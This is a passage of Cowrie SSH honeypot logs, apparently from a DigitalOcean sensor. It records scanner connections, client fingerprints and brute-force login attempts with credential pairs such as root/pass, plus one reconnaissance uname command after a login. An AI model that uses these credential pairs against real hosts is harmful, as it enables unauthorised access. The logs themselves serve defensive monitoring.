ssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:31.021352Z","src_ip":"103.13.211.185","session":"f65a3e695737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:31.625441Z","src_ip":"103.13.211.185","session":"f65a3e695737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:32.822400Z","src_ip":"103.13.211.185","session":"f65a3e695737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":43164,"dst_ip":"159.203.135.109","dst_port":22,"session":"368b91f69167","protocol":"ssh","message":"New connection: 103.13.211.185:43164 (159.203.135.109:22) [session: 368b91f69167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:32.921976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:32.925494Z","src_ip":"103.13.211.185","session":"368b91f69167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:33.022080Z","src_ip":"103.13.211.185","session":"368b91f69167","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:33.525927Z","src_ip":"103.13.211.185","session":"368b91f69167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:33.627306Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:33.630136Z","src_ip":"103.13.211.185","session":"368b91f69167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":43226,"dst_ip":"159.203.135.109","dst_port":22,"session":"11cbcca857d9","protocol":"ssh","message":"New connection: 159.223.57.48:43226 (159.203.135.109:22) [session: 11cbcca857d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:59.127502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:59.131488Z","src_ip":"159.223.57.48","session":"11cbcca857d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:59.369076Z","src_ip":"159.223.57.48","session":"11cbcca857d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viper","password":"viperpass","message":"login attempt [viper/viperpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:00.353328Z","src_ip":"159.223.57.48","session":"11cbcca857d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:01.594495Z","src_ip":"159.223.57.48","session":"11cbcca857d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":43294,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e8a9032a0d2","protocol":"ssh","message":"New connection: 103.67.80.61:43294 (159.203.135.109:22) [session: 8e8a9032a0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:33.775800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:33.780184Z","src_ip":"103.67.80.61","session":"8e8a9032a0d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:34.015602Z","src_ip":"103.67.80.61","session":"8e8a9032a0d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"facturacion","password":"1234","message":"login attempt [facturacion/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:34.988586Z","src_ip":"103.67.80.61","session":"8e8a9032a0d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:36.225247Z","src_ip":"103.67.80.61","session":"8e8a9032a0d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":41436,"dst_ip":"159.203.135.109","dst_port":22,"session":"3127bc048074","protocol":"ssh","message":"New connection: 92.118.39.92:41436 (159.203.135.109:22) [session: 3127bc048074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:37.856601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:37.861415Z","src_ip":"92.118.39.92","session":"3127bc048074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:37.964638Z","src_ip":"92.118.39.92","session":"3127bc048074","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"pass","message":"login attempt [root/pass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:38.279352Z","src_ip":"92.118.39.92","session":"3127bc048074","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:38.525084Z","src_ip":"92.118.39.92","session":"3127bc048074","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:38.528547Z","src_ip":"92.118.39.92","session":"3127bc048074","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:38.632130Z","src_ip":"92.118.39.92","session":"3127bc048074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:33:38.636767Z","src_ip":"92.118.39.92","session":"3127bc048074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":32982,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb1d9148dca4","protocol":"ssh","message":"New connection: 103.82.92.202:32982 (10.17.0.5:22) [session: bb1d9148dca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:34:35.848384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:34:35.852950Z","src_ip":"103.82.92.202","session":"bb1d9148dca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:34:36.105148Z","src_ip":"103.82.92.202","session":"bb1d9148dca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alumno","password":"alumno123","message":"login attempt [alumno/alumno123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:34:37.148115Z","src_ip":"103.82.92.202","session":"bb1d9148dca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:34:38.402897Z","src_ip":"103.82.92.202","session":"bb1d9148dca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":42092,"dst_ip":"10.17.0.5","dst_port":22,"session":"abff1ee8420f","protocol":"ssh","message":"New connection: 103.78.2.212:42092 (10.17.0.5:22) [session: abff1ee8420f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:15.400286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:15.404700Z","src_ip":"103.78.2.212","session":"abff1ee8420f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:15.660989Z","src_ip":"103.78.2.212","session":"abff1ee8420f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superset","password":"Superset123","message":"login attempt [superset/Superset123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:16.721447Z","src_ip":"103.78.2.212","session":"abff1ee8420f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:17.980435Z","src_ip":"103.78.2.212","session":"abff1ee8420f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":36974,"dst_ip":"159.203.135.109","dst_port":22,"session":"868effad3ff1","protocol":"ssh","message":"New connection: 159.223.57.48:36974 (159.203.135.109:22) [session: 868effad3ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:26.276190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:26.280478Z","src_ip":"159.223.57.48","session":"868effad3ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:26.516847Z","src_ip":"159.223.57.48","session":"868effad3ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"znc","password":"znc2025","message":"login attempt [znc/znc2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:27.497896Z","src_ip":"159.223.57.48","session":"868effad3ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:28.736873Z","src_ip":"159.223.57.48","session":"868effad3ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":56914,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc36ffcd3bff","protocol":"ssh","message":"New connection: 92.118.39.92:56914 (159.203.135.109:22) [session: cc36ffcd3bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:59.255686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:59.259769Z","src_ip":"92.118.39.92","session":"cc36ffcd3bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:59.399967Z","src_ip":"92.118.39.92","session":"cc36ffcd3bff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"pass123","message":"login attempt [root/pass123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:35:59.722921Z","src_ip":"92.118.39.92","session":"cc36ffcd3bff","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:36:00.057805Z","src_ip":"92.118.39.92","session":"cc36ffcd3bff","protocol":"ssh"}
